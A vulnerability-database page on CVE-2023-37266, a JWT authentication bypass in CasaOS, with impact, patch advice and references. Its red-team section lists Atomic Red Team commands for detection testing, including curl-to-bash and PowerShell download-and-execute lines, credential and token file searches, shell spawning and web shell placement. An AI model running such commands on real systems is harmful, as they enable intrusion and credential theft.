CVE-2023-37266
Overview
This vulnerability is an authentication bypass caused by insufficient validation of JSON Web Tokens (JWTs) in IceWhaleTech CasaOS. The root cause lies in the system's acceptance of arbitrarily crafted JWTs without verifying their authenticity or integrity. The affected component is the JWT authentication mechanism within the CasaOS Personal Cloud system, which fails to properly validate tokens before granting access to privileged functions.
Vulnerability Description
CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
Impact
An attacker with network access and no authentication can exploit this flaw to execute arbitrary commands as root on affected CasaOS instances. This enables full system compromise, including unauthorized data access, service disruption, and potential lateral movement within the environment. The vulnerability requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N), resulting in complete confidentiality, integrity, and availability loss (C:H/I:H/A:H).
Solution
Users should upgrade CasaOS to version 0.4.4 or later, which includes a patch that strengthens JWT validation as detailed in the GitHub advisory GHSA-m5q5-8mfw-p2hr and commit 705bf1ffacbffd2ca40b159b0303132b6fdf657ad. If immediate upgrade is not possible, restrict CasaOS access to trusted networks and avoid exposing the service publicly. Refer to the official advisory and commit for detailed patch instructions and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in CasaOS arises from inadequate validation of JSON Web Tokens (JWTs), which allows unauthenticated attackers to craft arbitrary tokens. This flaw enables malicious actors to bypass authentication mechanisms, gaining unauthorized access to features typically restricted to authenticated users. The exploitation of this vulnerability can lead to the execution of arbitrary commands with root privileges on affected CasaOS instances. The root cause lies in the improper handling of JWTs, which are often used for securely transmitting information between parties as a JSON object. When these tokens are not adequately validated, it opens a pathway for attackers to manipulate the system without any legitimate credentials.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could utilize tools to generate malicious JWTs and send them to the CasaOS server. Once the server processes these tokens without proper validation, the attacker can gain access to sensitive features and execute commands as a root user. This scenario could unfold in various environments, particularly in instances where CasaOS is deployed in a public-facing manner. For example, if a user has exposed their CasaOS instance to the internet without proper access controls, an attacker could easily exploit this vulnerability to gain control over the system, leading to potential data breaches or service disruptions.
The real-world impact of this vulnerability is significant, especially for organizations relying on CasaOS for personal cloud storage and management. The potential for unauthorized access and command execution poses a severe business risk, as attackers could manipulate data, deploy malware, or even use the compromised system as a launchpad for further attacks within the network. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, highlighting the urgency for organizations to address it promptly. Failure to mitigate this risk could result in financial losses, reputational damage, and regulatory penalties, particularly for organizations that handle sensitive information.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the latest version of CasaOS, where the validation of JWTs has been improved. Regularly updating software is a fundamental practice in cybersecurity, as it helps to patch known vulnerabilities and reduce the attack surface. In cases where immediate upgrades are not feasible, organizations should implement strict access controls to limit exposure. This includes restricting access to CasaOS instances from untrusted networks and employing firewalls to block unauthorized traffic. Additionally, organizations should conduct regular security assessments and penetration testing to identify and address potential weaknesses in their systems.
In conclusion, the vulnerability in CasaOS represents a critical risk that can lead to severe consequences if left unaddressed. The ease of exploitation combined with the potential for significant impact on business operations necessitates immediate action. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect their CasaOS instances but also enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Icewhale | Casaos | All |
cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-37266 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad |
| sonarsource.com |
GitHub CVE
x_refsource_MISC
|
https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos |